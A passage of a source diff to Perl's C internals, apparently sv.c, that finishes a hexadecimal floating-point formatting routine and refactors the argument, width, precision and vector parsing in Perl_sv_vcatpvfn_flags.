+        /* Find the last non-zero xdigit. */
+        for (v = vend - 1; v >= vhex; v--) {
+            if (*v) {
+                vlnz = v;
+                break;
+            }
+        }
+
+#if NVSIZE == DOUBLESIZE
+        if (fv != 0.0)
+            exponent--;
+#endif
+
+        if (subnormal) {
+#ifndef NV_X86_80_BIT
+          if (vfnz[0] > 1) {
+            /* IEEE 754 subnormals (but not the x86 80-bit):
+             * we want "normalize" the subnormal,
+             * so we need to right shift the hex nybbles
+             * so that the output of the subnormal starts
+             * from the first true bit.  (Another, equally
+             * valid, policy would be to dump the subnormal
+             * nybbles as-is, to display the "physical" layout.) */
+            int i, n;
+            U8 *vshr;
+            /* Find the ceil(log2(v[0])) of
+             * the top non-zero nybble. */
+            for (i = vfnz[0], n = 0; i > 1; i >>= 1, n++) { }
+            assert(n < 4);
+            assert(vlnz);
+            vlnz[1] = 0;
+            for (vshr = vlnz; vshr >= vfnz; vshr--) {
+              vshr[1] |= (vshr[0] & (0xF >> (4 - n))) << (4 - n);
+              vshr[0] >>= n;
+            }
+            if (vlnz[1]) {
+              vlnz++;
+            }
+          }
+#endif
+          v0 = vfnz;
+        } else {
+          v0 = vhex;
+        }
+
+        if (has_precis) {
+            U8* ve = (subnormal ? vlnz + 1 : vend);
+            SSize_t vn = ve - v0;
+            assert(vn >= 1);
+            if (precis < (Size_t)(vn - 1)) {
+                bool overflow = FALSE;
+                if (v0[precis + 1] < 0x8) {
+                    /* Round down, nothing to do. */
+                } else if (v0[precis + 1] > 0x8) {
+                    /* Round up. */
+                    v0[precis]++;
+                    overflow = v0[precis] > 0xF;
+                    v0[precis] &= 0xF;
+                } else { /* v0[precis] == 0x8 */
+                    /* Half-point: round towards the one
+                     * with the even least-significant digit:
+                     * 08 -> 0  88 -> 8
+                     * 18 -> 2  98 -> a
+                     * 28 -> 2  a8 -> a
+                     * 38 -> 4  b8 -> c
+                     * 48 -> 4  c8 -> c
+                     * 58 -> 6  d8 -> e
+                     * 68 -> 6  e8 -> e
+                     * 78 -> 8  f8 -> 10 */
+                    if ((v0[precis] & 0x1)) {
+                        v0[precis]++;
+                    }
+                    overflow = v0[precis] > 0xF;
+                    v0[precis] &= 0xF;
+                }
+
+                if (overflow) {
+                    for (v = v0 + precis - 1; v >= v0; v--) {
+                        (*v)++;
+                        overflow = *v > 0xF;
+                        (*v) &= 0xF;
+                        if (!overflow) {
+                            break;
+                        }
+                    }
+                    if (v == v0 - 1 && overflow) {
+                        /* If the overflow goes all the
+                         * way to the front, we need to
+                         * insert 0x1 in front, and adjust
+                         * the exponent. */
+                        Move(v0, v0 + 1, vn - 1, char);
+                        *v0 = 0x1;
+                        exponent += 4;
+                    }
+                }
+
+                /* The new effective "last non zero". */
+                vlnz = v0 + precis;
+            }
+            else {
+                zerotail =
+                  subnormal ? precis - vn + 1 :
+                  precis - (vlnz - vhex);
+            }
+        }
+
+        v = v0;
+        *p++ = xdig[*v++];
+
+        /* If there are non-zero xdigits, the radix
+         * is output after the first one. */
+        if (vfnz < vlnz) {
+          hexradix = TRUE;
+        }
+    }
+    else {
+        *p++ = '0';
+        exponent = 0;
+        zerotail = precis;
+    }
+
+    /* The radix is always output if precis, or if alt. */
+    if (precis > 0 || alt) {
+      hexradix = TRUE;
+    }
+
+    if (hexradix) {
+#ifndef USE_LOCALE_NUMERIC
+            *p++ = '.';
+#else
+            if (IN_LC(LC_NUMERIC)) {
+                STRLEN n;
+                const char* r = SvPV(PL_numeric_radix_sv, n);
+                Copy(r, p, n, char);
+                p += n;
+            }
+            else {
+                *p++ = '.';
+            }
+#endif
+    }
+
+    if (vlnz) {
+        while (v <= vlnz)
+            *p++ = xdig[*v++];
+    }
+
+    if (zerotail > 0) {
+      while (zerotail--) {
+        *p++ = '0';
+      }
+    }
+
+    elen = p - buf;
+
+    /* sanity checks */
+    if (elen >= bufsize || width >= bufsize)
+        /* diag_listed_as: Hexadecimal float: internal error (%s) */
+        Perl_croak(aTHX_ "Hexadecimal float: internal error (overflow)");
+
+    elen += my_snprintf(p, bufsize - elen,
+                        "%c%+d", lower ? 'p' : 'P',
+                        exponent);
+
+    if (elen < width) {
+        STRLEN gap = (STRLEN)(width - elen);
+        if (left) {
+            /* Pad the back with spaces. */
+            memset(buf + elen, ' ', gap);
+        }
+        else if (fill) {
+            /* Insert the zeros after the "0x" and the
+             * the potential sign, but before the digits,
+             * otherwise we end up with "0000xH.HHH...",
+             * when we want "0x000H.HHH..."  */
+            STRLEN nzero = gap;
+            char* zerox = buf + 2;
+            STRLEN nmove = elen - 2;
+            if (negative || plus) {
+                zerox++;
+                nmove--;
+            }
+            Move(zerox, zerox + nzero, nmove, char);
+            memset(zerox, fill ? '0' : ' ', nzero);
+        }
+        else {
+            /* Move it to the right. */
+            Move(buf, buf + gap,
+                 elen, char);
+            /* Pad the front with spaces. */
+            memset(buf, ' ', gap);
+        }
+        elen = width;
+    }
+    return elen;
+}
+
+
+/*
+=for apidoc sv_vcatpvfn
+
+=for apidoc sv_vcatpvfn_flags
+
+Processes its arguments like C<vsprintf> and appends the formatted output
+to an SV.  Uses an array of SVs if the C-style variable argument list is
+missing (C<NULL>). Argument reordering (using format specifiers like C<%2$d>
+or C<%*2$d>) is supported only when using an array of SVs; using a C-style
+C<va_list> argument list with a format string that uses argument reordering
+will yield an exception.
+
+When running with taint checks enabled, indicates via
+C<maybe_tainted> if results are untrustworthy (often due to the use of
+locales).
+
+If called as C<sv_vcatpvfn> or flags has the C<SV_GMAGIC> bit set, calls get magic.
+
+It assumes that pat has the same utf8-ness as sv.  It's the caller's
+responsibility to ensure that this is so.
+
+Usually used via one of its frontends C<sv_vcatpvf> and C<sv_vcatpvf_mg>.
+
+=cut
+*/
+
+
 void
 Perl_sv_vcatpvfn_flags(pTHX_ SV *const sv, const char *const pat, const STRLEN patlen,
-                       va_list *const args, SV **const svargs, const I32 svmax, bool *const maybe_tainted,
+                       va_list *const args, SV **const svargs, const Size_t sv_count, bool *const maybe_tainted,
                        const U32 flags)
 {
-    char *p;
-    char *q;
+    const char *fmtstart; /* character following the current '%' */
+    const char *q;        /* current position within format */
     const char *patend;
     STRLEN origlen;
-    I32 svix = 0;
+    Size_t svix = 0;
     static const char nullstr[] = "(null)";
-    SV *argsv = NULL;
     bool has_utf8 = DO_UTF8(sv);    /* has the result utf8? */
     const bool pat_utf8 = has_utf8; /* the pattern is in utf8? */
-    SV *nsv = NULL;
     /* Times 4: a decimal digit takes more than 3 binary digits.
-     * NV_DIG: mantissa takes than many decimal digits.
+     * NV_DIG: mantissa takes that many decimal digits.
      * Plus 32: Playing safe. */
     char ebuf[IV_DIG * 4 + NV_DIG + 32];
     bool no_redundant_warning = FALSE; /* did we use any explicit format parameter index? */
-    bool hexfp = FALSE; /* hexadecimal floating point? */
-
+#ifdef USE_LOCALE_NUMERIC
     DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+    bool lc_numeric_set = FALSE; /* called STORE_LC_NUMERIC_SET_TO_NEEDED? */
+#endif
 
     PERL_ARGS_ASSERT_SV_VCATPVFN_FLAGS;
     PERL_UNUSED_ARG(maybe_tainted);
@@ -11466,182 +11841,132 @@
     /* no matter what, this is a string now */
     (void)SvPV_force_nomg(sv, origlen);
 
-    /* special-case "", "%s", and "%-p" (SVf - see below) */
-    if (patlen == 0) {
-	if (svmax && ckWARN(WARN_REDUNDANT))
-	    Perl_warner(aTHX_ packWARN(WARN_REDUNDANT), "Redundant argument in %s",
-			PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn()");
-	return;
-    }
-    if (patlen == 2 && pat[0] == '%' && pat[1] == 's') {
-	if (svmax > 1 && ckWARN(WARN_REDUNDANT))
-	    Perl_warner(aTHX_ packWARN(WARN_REDUNDANT), "Redundant argument in %s",
-			PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn()");
+    /* the code that scans for flags etc following a % relies on
+     * a '\0' being present to avoid falling off the end. Ideally that
+     * should be fixed */
+    assert(pat[patlen] == '\0');
 
-	if (args) {
-	    const char * const s = va_arg(*args, char*);
-	    sv_catpv_nomg(sv, s ? s : nullstr);
-	}
-	else if (svix < svmax) {
-	    /* we want get magic on the source but not the target. sv_catsv can't do that, though */
-	    SvGETMAGIC(*svargs);
-	    sv_catsv_nomg(sv, *svargs);
-	}
-	else
-	    S_warn_vcatpvfn_missing_argument(aTHX);
+
+    /* Special-case "", "%s", "%-p" (SVf - see below) and "%.0f".
+     * In each case, if there isn't the correct number of args, instead
+     * fall through to the main code to handle the issuing of any
+     * warnings etc.
+     */
+
+    if (patlen == 0 && (args || sv_count == 0))
 	return;
-    }
-    if (args && patlen == 3 && pat[0] == '%' &&
-		pat[1] == '-' && pat[2] == 'p') {
-	if (svmax > 1 && ckWARN(WARN_REDUNDANT))
-	    Perl_warner(aTHX_ packWARN(WARN_REDUNDANT), "Redundant argument in %s",
-			PL_op ? OP_DESC(PL_op) : "sv_vcatpvfn()");
-	argsv = MUTABLE_SV(va_arg(*args, void*));
-	sv_catsv_nomg(sv, argsv);
-	return;
-    }
 
-#if !defined(USE_LONG_DOUBLE) && !defined(USE_QUADMATH)
-    /* special-case "%.<number>[gf]" */
-    if ( !args && patlen <= 5 && pat[0] == '%' && pat[1] == '.'
-	 && (pat[patlen-1] == 'g' || pat[patlen-1] == 'f') ) {
-	unsigned digits = 0;
-	const char *pp;
+    if (patlen <= 4 && pat[0] == '%' && (args || sv_count == 1)) {
 
-	pp = pat + 2;
-	while (*pp >= '0' && *pp <= '9')
-	    digits = 10 * digits + (*pp++ - '0');
+        /* "%s" */
+        if (patlen == 2 && pat[1] == 's') {
+            if (args) {
+                const char * const s = va_arg(*args, char*);
+                sv_catpv_nomg(sv, s ? s : nullstr);
+            }
+            else {
+                /* we want get magic on the source but not the target.
+                 * sv_catsv can't do that, though */
+                SvGETMAGIC(*svargs);
+                sv_catsv_nomg(sv, *svargs);
+            }
+            return;
+        }
 
-	/* XXX: Why do this `svix < svmax` test? Couldn't we just
-	   format the first argument and WARN_REDUNDANT if svmax > 1?
-	   Munged by Nicholas Clark in v5.13.0-209-g95ea86d */
-	if (pp - pat == (int)patlen - 1 && svix < svmax) {
-	    const NV nv = SvNV(*svargs);
+        /* "%-p" */
+        if (args) {
+            if (patlen == 3  && pat[1] == '-' && pat[2] == 'p') {
+                SV *asv = MUTABLE_SV(va_arg(*args, void*));
+                sv_catsv_nomg(sv, asv);
+                return;
+            }
+        }
+#if !defined(USE_LONG_DOUBLE) && !defined(USE_QUADMATH)
+        /* special-case "%.0f" */
+        else if (   patlen == 4
+                 && pat[1] == '.' && pat[2] == '0' && pat[3] == 'f')
+        {
+            const NV nv = SvNV(*svargs);
             if (LIKELY(!Perl_isinfnan(nv))) {
-                if (*pp == 'g') {
-                    /* Add check for digits != 0 because it seems that some
-                       gconverts are buggy in this case, and we don't yet have
-                       a Configure test for this.  */
-                    if (digits && digits < sizeof(ebuf) - NV_DIG - 10) {
-                        /* 0, point, slack */
-                        STORE_LC_NUMERIC_SET_TO_NEEDED();
-                        SNPRINTF_G(nv, ebuf, size, digits);
-                        sv_catpv_nomg(sv, ebuf);
-                        if (*ebuf)	/* May return an empty string for digits==0 */
-                            return;
-                    }
-                } else if (!digits) {
-                    STRLEN l;
+                STRLEN l;
+                char *p;
 
-                    if ((p = F0convert(nv, ebuf + sizeof ebuf, &l))) {
-                        sv_catpvn_nomg(sv, p, l);
-                        return;
-                    }
+                if ((p = F0convert(nv, ebuf + sizeof ebuf, &l))) {
+                    sv_catpvn_nomg(sv, p, l);
+                    return;
                 }
             }
-	}
+        }
+#endif /* !USE_LONG_DOUBLE */
     }
-#endif /* !USE_LONG_DOUBLE */
 
-    if (!args && svix < svmax && DO_UTF8(*svargs))
-	has_utf8 = TRUE;
 
     patend = (char*)pat + patlen;
-    for (p = (char*)pat; p < patend; p = q) {
-	bool alt = FALSE;
-	bool left = FALSE;
-	bool vectorize = FALSE;
-	bool vectorarg = FALSE;
-	bool vec_utf8 = FALSE;
-	char fill = ' ';
-	char plus = 0;
-	char intsize = 0;
-	STRLEN width = 0;
-	STRLEN zeros = 0;
-	bool has_precis = FALSE;
-	STRLEN precis = 0;
-	const I32 osvix = svix;
-	bool is_utf8 = FALSE;  /* is this item utf8?   */
-        bool used_explicit_ix = FALSE;
-        bool arg_missing = FALSE;
-#ifdef HAS_LDBL_SPRINTF_BUG
-	/* This is to try to fix a bug with irix/nonstop-ux/powerux and
-	   with sfio - Allen <allens at cpan.org> */
-	bool fix_ldbl_sprintf_bug = FALSE;
-#endif
+    for (fmtstart = pat; fmtstart < patend; fmtstart = q) {
+	char intsize     = 0;         /* size qualifier in "%hi..." etc */
+	bool alt         = FALSE;     /* has      "%#..."    */
+	bool left        = FALSE;     /* has      "%-..."    */
+	bool fill        = FALSE;     /* has      "%0..."    */
+	char plus        = 0;         /* has      "%+..."    */
+	STRLEN width     = 0;         /* value of "%NNN..."  */
+	bool has_precis  = FALSE;     /* has      "%.NNN..." */
+	STRLEN precis    = 0;         /* value of "%.NNN..." */
+	int base         = 0;         /* base to print in, e.g. 8 for %o */
+	UV uv            = 0;         /* the value to print of int-ish args */
 
-	char esignbuf[4];
-	U8 utf8buf[UTF8_MAXBYTES+1];
-	STRLEN esignlen = 0;
+	bool vectorize   = FALSE;     /* has      "%v..."    */
+	bool vec_utf8    = FALSE;     /* SvUTF8(vec arg)     */
+	const U8 *vecstr = NULL;      /* SvPVX(vec arg)      */
+	STRLEN veclen    = 0;         /* SvCUR(vec arg)      */
+	const char *dotstr = NULL;    /* separator string for %v */
+	STRLEN dotstrlen;             /* length of separator string for %v */
 
-	const char *eptr = NULL;
-	const char *fmtstart;
-	STRLEN elen = 0;
-	SV *vecsv = NULL;
-	const U8 *vecstr = NULL;
-	STRLEN veclen = 0;
-	char c = 0;
-	int i;
-	unsigned base = 0;
-	IV iv = 0;
-	UV uv = 0;
-	/* We need a long double target in case HAS_LONG_DOUBLE,
-         * even without USE_LONG_DOUBLE, so that we can printf with
-         * long double formats, even without NV being long double.
-         * But we call the target 'fv' instead of 'nv', since most of
-         * the time it is not (most compilers these days recognize
-         * "long double", even if only as a synonym for "double").
-	*/
-#if defined(HAS_LONG_DOUBLE) && LONG_DOUBLESIZE > DOUBLESIZE && \
-	defined(PERL_PRIgldbl) && !defined(USE_QUADMATH)
-	long double fv;
-#  ifdef Perl_isfinitel
-#    define FV_ISFINITE(x) Perl_isfinitel(x)
-#  endif
-#  define FV_GF PERL_PRIgldbl
-#    if defined(__VMS) && defined(__ia64) && defined(__IEEE_FLOAT)
-       /* Work around breakage in OTS$CVT_FLOAT_T_X */
-#      define NV_TO_FV(nv,fv) STMT_START {                   \
-                                           double _dv = nv;  \
-                                           fv = Perl_isnan(_dv) ? LDBL_QNAN : _dv; \
-                              } STMT_END
-#    else
-#      define NV_TO_FV(nv,fv) (fv)=(nv)
-#    endif
-#else
-	NV fv;
-#  define FV_GF NVgf
-#  define NV_TO_FV(nv,fv) (fv)=(nv)
-#endif
-#ifndef FV_ISFINITE
-#  define FV_ISFINITE(x) Perl_isfinite((NV)(x))
-#endif
-        NV nv;
-	STRLEN have;
-	STRLEN need;
-	STRLEN gap;
-	const char *dotstr = ".";
-	STRLEN dotstrlen = 1;
-	I32 efix = 0; /* explicit format parameter index */
-	I32 ewix = 0; /* explicit width index */
-	I32 epix = 0; /* explicit precision index */
-	I32 evix = 0; /* explicit vector index */
-	bool asterisk = FALSE;
-        bool infnan = FALSE;
+	Size_t efix      = 0;         /* explicit format parameter index */
+	const Size_t osvix  = svix;   /* original index in case of bad fmt */
 
+	SV *argsv        = NULL;
+	bool is_utf8     = FALSE;     /* is this item utf8?   */
+        bool arg_missing = FALSE;     /* give "Missing argument" warning */
+	char esignbuf[4];             /* holds sign prefix, e.g. "-0x" */
+	STRLEN esignlen  = 0;         /* length of e.g. "-0x" */
+	STRLEN zeros     = 0;         /* how many '0' to prepend */
+
+	const char *eptr = NULL;      /* the address of the element string */
+	STRLEN elen      = 0;         /* the length  of the element string */
+
+	char c;                       /* the actual format ('d', s' etc) */
+
+
 	/* echo everything up to the next format specification */
-	for (q = p; q < patend && *q != '%'; ++q) ;
-	if (q > p) {
-	    if (has_utf8 && !pat_utf8)
-		sv_catpvn_nomg_utf8_upgrade(sv, p, q - p, nsv);
+	for (q = fmtstart; q < patend && *q != '%'; ++q)
+            {};
+
+	if (q > fmtstart) {
+	    if (has_utf8 && !pat_utf8) {
+                /* upgrade and copy the bytes of fmtstart..q-1 to utf8 on
+                 * the fly */
+                const char *p;
+                char *dst;
+                STRLEN need = SvCUR(sv) + (q - fmtstart) + 1;
+
+                for (p = fmtstart; p < q; p++)
+                    if (!NATIVE_BYTE_IS_INVARIANT(*p))
+                        need++;
+                SvGROW(sv, need);
+
+                dst = SvEND(sv);
+                for (p = fmtstart; p < q; p++)
+                    append_utf8_from_native_byte((U8)*p, (U8**)&dst);
+                *dst = '\0';
+                SvCUR_set(sv, need - 1);
+            }
 	    else
-		sv_catpvn_nomg(sv, p, q - p);
-	    p = q;
+                S_sv_catpvn_simple(aTHX_ sv, fmtstart, q - fmtstart);
 	}
 	if (q++ >= patend)
 	    break;
 
-	fmtstart = q;
+	fmtstart = q; /* fmtstart is char following the '%' */
 
 /*
     We allow format specification elements in this order:
@@ -11655,85 +11980,16 @@
     [%bcdefginopsuxDFOUX] format (mandatory)
 */
 
-	if (args) {
-/*  
-	As of perl5.9.3, printf format checking is on by default.
-	Internally, perl uses %p formats to provide an escape to
-	some extended formatting.  This block deals with those
-	extensions: if it does not match, (char*)q is reset and
-	the normal format processing code is used.
-
-	Currently defined extensions are:
-		%p		include pointer address (standard)	
-		%-p	(SVf)	include an SV (previously %_)
-		%-<num>p	include an SV with precision <num>	
-		%2p		include a HEK
-		%3p		include a HEK with precision of 256
-		%4p		char* preceded by utf8 flag and length
-		%<num>p		(where num is 1 or > 4) reserved for future
-				extensions
-
-	Robin Barker 2005-07-14 (but modified since)
-
-		%1p	(VDf)	removed.  RMB 2007-10-19
-*/
- 	    char* r = q; 
-	    bool sv = FALSE;	
-	    STRLEN n = 0;
-	    if (*q == '-')
-		sv = *q++;
-	    else if (strnEQ(q, UTF8f, sizeof(UTF8f)-1)) { /* UTF8f */
-		/* The argument has already gone through cBOOL, so the cast
-		   is safe. */
-		is_utf8 = (bool)va_arg(*args, int);
-		elen = va_arg(*args, UV);
-                /* if utf8 length is larger than 0x7ffff..., then it might
-                 * have been a signed value that wrapped */
-                if (elen  > ((~(STRLEN)0) >> 1)) {
-                    assert(0); /* in DEBUGGING build we want to crash */
-                    elen= 0; /* otherwise we want to treat this as an empty string */
-                }
-		eptr = va_arg(*args, char *);
-		q += sizeof(UTF8f)-1;
-		goto string;
-	    }
-	    n = expect_number(&q);
-	    if (*q++ == 'p') {
-		if (sv) {			/* SVf */
-		    if (n) {
-			precis = n;
-			has_precis = TRUE;
-		    }
-		    argsv = MUTABLE_SV(va_arg(*args, void*));
-		    eptr = SvPV_const(argsv, elen);
-		    if (DO_UTF8(argsv))
-			is_utf8 = TRUE;
-		    goto string;
-		}
-		else if (n==2 || n==3) {	/* HEKf */
-		    HEK * const hek = va_arg(*args, HEK *);
-		    eptr = HEK_KEY(hek);
-		    elen = HEK_LEN(hek);
-		    if (HEK_UTF8(hek)) is_utf8 = TRUE;
-		    if (n==3) precis = 256, has_precis = TRUE;
-		    goto string;
-		}
-		else if (n) {
-		    Perl_ck_warner_d(aTHX_ packWARN(WARN_INTERNAL),
-				     "internal %%<num>p might conflict with future printf extensions");
-		}
-	    }
-	    q = r; 
-	}
-
-	if ( (width = expect_number(&q)) ) {
+	if (IS_1_TO_9(*q)) {
+            width = expect_number(&q);
 	    if (*q == '$') {
                 if (args)
                     Perl_croak_nocontext(
                         "Cannot yet reorder sv_catpvfn() arguments from va_list");
 		++q;
-		efix = width;
-                used_explicit_ix = TRUE;
+		efix = (Size_t)width;
+                width = 0;
+                no_redundant_warning = TRUE;
 	    } else {
 		goto gotwidth;
 	    }
@@ -11757,7 +12013,8 @@
 		continue;
 
 	    case '0':
-		fill = *q++;
+		fill = TRUE;
+                q++;
 		continue;
 
 	    case '#':
@@ -11771,73 +12028,102 @@
 	    break;
 	}
 
+      /* at this point we can expect one of:
+       *
+       *  123  an explicit width
+       *  *    width taken from next arg
+       *  *12$ width taken from 12th arg
+       *       or no width
+       *
+       * But any width specification may be preceded by a v, in one of its
+       * forms:
+       *        v
+       *        *v
+       *        *12$v
+       * So an asterisk may be either a width specifier or a vector
+       * separator arg specifier, and we don't know which initially
+       */
+
       tryasterisk:
 	if (*q == '*') {
+            STRLEN ix; /* explicit width/vector separator index */
 	    q++;
-	    if ( (ewix = expect_number(&q)) ) {
+	    if (IS_1_TO_9(*q)) {
+                ix = expect_number(&q);
 		if (*q++ == '$') {
                     if (args)
                         Perl_croak_nocontext(
                             "Cannot yet reorder sv_catpvfn() arguments from va_list");
-                    used_explicit_ix = TRUE;
+                    no_redundant_warning = TRUE;
                 } else
 		    goto unknown;
             }
-	    asterisk = TRUE;
-	}
-	if (*q == 'v') {
+            else
+                ix = 0;
+
+            if (*q == 'v') {
+                SV *vecsv;
+                /* The asterisk was for  *v, *NNN$v: vectorizing, but not
+                 * with the default "." */
+                q++;
+                if (vectorize)
+                    goto unknown;
+                if (args)
+                    vecsv = va_arg(*args, SV*);
+                else {
+                    ix = ix ? ix - 1 : svix++;
+                    vecsv = ix < sv_count ? svargs[ix]
+                                       : (arg_missing = TRUE, &PL_sv_no);
+                }
+                dotstr = SvPV_const(vecsv, dotstrlen);
+                /* Keep the DO_UTF8 test *after* the SvPV call, else things go
+                   bad with tied or overloaded values that return UTF8.  */
+                if (DO_UTF8(vecsv))
+                    is_utf8 = TRUE;
+                else if (has_utf8) {
+                    vecsv = sv_mortalcopy(vecsv);
+                    sv_utf8_upgrade(vecsv);
+                    dotstr = SvPV_const(vecsv, dotstrlen);
+                    is_utf8 = TRUE;
+                }
+                vectorize = TRUE;
+                goto tryasterisk;
+            }
+
+            /* the asterisk specified a width */
+            {
+                int i = 0;
+                SV *sv = NULL;
+                if (args)
+                    i = va_arg(*args, int);
+                else {
+                    ix = ix ? ix - 1 : svix++;
+                    sv = (ix < sv_count) ? svargs[ix]
+                                      : (arg_missing = TRUE, (SV*)NULL);
+                }
+                width = S_sprintf_arg_num_val(aTHX_ args, i, sv, &left);
+            }
+        }
+	else if (*q == 'v') {
 	    q++;
 	    if (vectorize)
 		goto unknown;
-	    if ((vectorarg = asterisk)) {
-		evix = ewix;
-		ewix = 0;
-		asterisk = FALSE;
-	    }
 	    vectorize = TRUE;
-	    goto tryasterisk;
-	}
+            dotstr = ".";
+            dotstrlen = 1;
+            goto tryasterisk;
 
-	if (!asterisk)
-	{
-	    if( *q == '0' )
-		fill = *q++;
-	    width = expect_number(&q);
+        }
+	else {
+        /* explicit width? */
+	    if(*q == '0') {
+		fill = TRUE;
+                q++;
+            }
+            if (IS_1_TO_9(*q))
+                width = expect_number(&q);
 	}
 
-	if (vectorize && vectorarg) {
-	    /* vectorizing, but not with the default "." */
-	    if (args)
-		vecsv = va_arg(*args, SV*);
-	    else if (evix) {
-                FETCH_VCATPVFN_ARGUMENT(
-                    vecsv, evix > 0 && evix <= svmax, svargs[evix-1]);
-	    } else {
-                FETCH_VCATPVFN_ARGUMENT(
-                    vecsv, svix < svmax, svargs[svix++]);
-	    }
-	    dotstr = SvPV_const(vecsv, dotstrlen);
-	    /* Keep the DO_UTF8 test *after* the SvPV call, else things go
-	       bad with tied or overloaded values that return UTF8.  */
-	    if (DO_UTF8(vecsv))
-		is_utf8 = TRUE;
-	    else if (has_utf8) {
-		vecsv = sv_mortalcopy(vecsv);
-		sv_utf8_upgrade(vecsv);
-		dotstr = SvPV_const(vecsv, dotstrlen);
-		is_utf8 = TRUE;
-	    }		    
-	}
-
-	if (asterisk) {
-	    if (args)
-		i = va_arg(*args, int);
-	    else
-		i = (ewix ? ewix <= svmax : svix < svmax) ?
-		    SvIVx(svargs[ewix ? ewix-1 : svix++]) : 0;
-	    left |= (i < 0);
-	    width = (i < 0) ? -i : i;
-	}
       gotwidth:
 
 	/* PRECISION */
@@ -11845,72 +12131,52 @@
 	if (*q == '.') {
 	    q++;
 	    if (*q == '*') {
+                STRLEN ix; /* explicit precision index */
 		q++;
-                if ( (epix = expect_number(&q)) ) {
+                if (IS_1_TO_9(*q)) {
+                    ix = expect_number(&q);
                     if (*q++ == '$') {
                         if (args)
                             Perl_croak_nocontext(
                                 "Cannot yet reorder sv_catpvfn() arguments from va_list");
-                        used_explicit_ix = TRUE;
+                        no_redundant_warning = TRUE;
                     } else
                         goto unknown;
                 }
-		if (args)
-                    i = va_arg(*args, int);
-		else {
-                    SV *precsv;
-                    if (epix)
-                        FETCH_VCATPVFN_ARGUMENT(
-                            precsv, epix > 0 && epix <= svmax, svargs[epix-1]);
-                    else
-                        FETCH_VCATPVFN_ARGUMENT(
-                            precsv, svix < svmax, svargs[svix++]);
-                    i = precsv == &PL_sv_no ? 0 : SvIVx(precsv);
+                else
+                    ix = 0;
+
+                {
+                    int i = 0;
+                    SV *sv = NULL;
+                    bool neg = FALSE;
+
+                    if (args)
+                        i = va_arg(*args, int);
+                    else {
+                        ix = ix ? ix - 1 : svix++;
+                        sv = (ix < sv_count) ? svargs[ix]
+                                          : (arg_missing = TRUE, (SV*)NULL);
+                    }
+                    precis = S_sprintf_arg_num_val(aTHX_ args, i, sv, &neg);
+                    has_precis = !neg;
                 }
-		precis = i;
-		has_precis = !(i < 0);
 	    }
 	    else {
-		precis = 0;
-		while (isDIGIT(*q))
-		    precis = precis * 10 + (*q++ - '0');
+                /* although it doesn't seem documented, this code has long
+                 * behaved so that:
+                 *   no digits following the '.' is treated like '.0'
+                 *   the number may be preceded by any number of zeroes,
+                 *      e.g. "%.0001f", which is the same as "%.1f"
+                 * so I've kept that behaviour. DAPM May 2017
+                 */
+                while (*q == '0')
+                    q++;
+                precis = IS_1_TO_9(*q) ? expect_number(&q) : 0;
 		has_precis = TRUE;
 	    }
 	}
 
-	if (vectorize) {
-	    if (args) {
-		VECTORIZE_ARGS
-	    }
-	    else if (efix ? (efix > 0 && efix <= svmax) : svix < svmax) {
-		vecsv = svargs[efix ? efix-1 : svix++];
-		vecstr = (U8*)SvPV_const(vecsv,veclen);
-		vec_utf8 = DO_UTF8(vecsv);
-
-		/* if this is a version object, we need to convert
-		 * back into v-string notation and then let the
-		 * vectorize happen normally
-		 */
-		if (sv_isobject(vecsv) && sv_derived_from(vecsv, "version")) {
-		    if ( hv_existss(MUTABLE_HV(SvRV(vecsv)), "alpha") ) {
-			Perl_ck_warner_d(aTHX_ packWARN(WARN_PRINTF),
-			"vector argument not supported with alpha versions");
-			goto vdblank;
-		    }
-		    vecsv = sv_newmortal();
-		    scan_vstring((char *)vecstr, (char *)vecstr + veclen,
-				 vecsv);
-		    vecstr = (U8*)SvPV_const(vecsv, veclen);
-		    vec_utf8 = DO_UTF8(vecsv);
-		}
-	    }
-	    else {
-	      vdblank:
-		vecstr = (U8*)"";
-		veclen = 0;
-	    }
-	}
-
 	/* SIZE */
 
 	switch (*q) {
@@ -11971,9 +12237,7 @@
 	case 'V':
 	case 'z':
 	case 't':
-#ifdef I_STDINT
         case 'j':
-#endif
 	    intsize = *q++;
 	    break;
 	}
@@ -11980,67 +12244,42 @@
 
 	/* CONVERSION */
 
-	if (*q == '%') {
-	    eptr = q++;
+	c = *q++; /* c now holds the conversion type */
+
+        /* '%' doesn't have an arg, so skip arg processing */
+	if (c == '%') {
+	    eptr = q - 1;
 	    elen = 1;
-	    if (vectorize) {
-		c = '%';
+	    if (vectorize)
 		goto unknown;
-	    }
 	    goto string;
 	}
 
-	if (!vectorize && !args) {
-	    if (efix) {
-		const I32 i = efix-1;
-                FETCH_VCATPVFN_ARGUMENT(argsv, i >= 0 && i < svmax, svargs[i]);
-	    } else {
-                FETCH_VCATPVFN_ARGUMENT(argsv, svix >= 0 && svix < svmax,
-                                        svargs[svix++]);
-	    }
+	if (vectorize && !strchr("BbDdiOouUXx", c))
+            goto unknown;
+
+        /* get next arg (individual branches do their own va_arg()
+         * handling for the args case) */
+
+        if (!args) {
+            efix = efix ? efix - 1 : svix++;
+            argsv = efix < sv_count ? svargs[efix]
+                                 : (arg_missing = TRUE, &PL_sv_no);
 	}
 
-        if (argsv && strchr("BbcDdiOopuUXx",*q)) {
-            /* XXX va_arg(*args) case? need peek, use va_copy? */
-            SvGETMAGIC(argsv);
-            if (UNLIKELY(SvAMAGIC(argsv)))
-                argsv = sv_2num(argsv);
-            infnan = UNLIKELY(isinfnansv(argsv));
-        }
 
-	switch (c = *q++) {
+	switch (c) {
 
 	    /* STRINGS */
 
-	case 'c':
-	    if (vectorize)
-		goto unknown;
-            if (infnan)
-                Perl_croak(aTHX_ "Cannot printf %" NVgf " with '%c'",
-                           /* no va_arg() case */
-                           SvNV_nomg(argsv), (int)c);
-	    uv = (args) ? va_arg(*args, int) : SvIV_nomg(argsv);
-	    if ((uv > 255 ||
-		 (!UVCHR_IS_INVARIANT(uv) && SvUTF8(sv)))
-		&& !IN_BYTES) {
-		eptr = (char*)utf8buf;
-		elen = uvchr_to_utf8((U8*)eptr, uv) - utf8buf;
-		is_utf8 = TRUE;
-	    }
-	    else {
-		c = (char)uv;
-		eptr = &c;
-		elen = 1;
-	    }
-	    goto string;
-
 	case 's':
-	    if (vectorize)
-		goto unknown;
 	    if (args) {
 		eptr = va_arg(*args, char*);
 		if (eptr)
-		    elen = strlen(eptr);
+                    if (has_precis)
+                        elen = my_strnlen(eptr, precis);
+                    else
+                        elen = strlen(eptr);
 		else {
 		    eptr = (char *)nullstr;
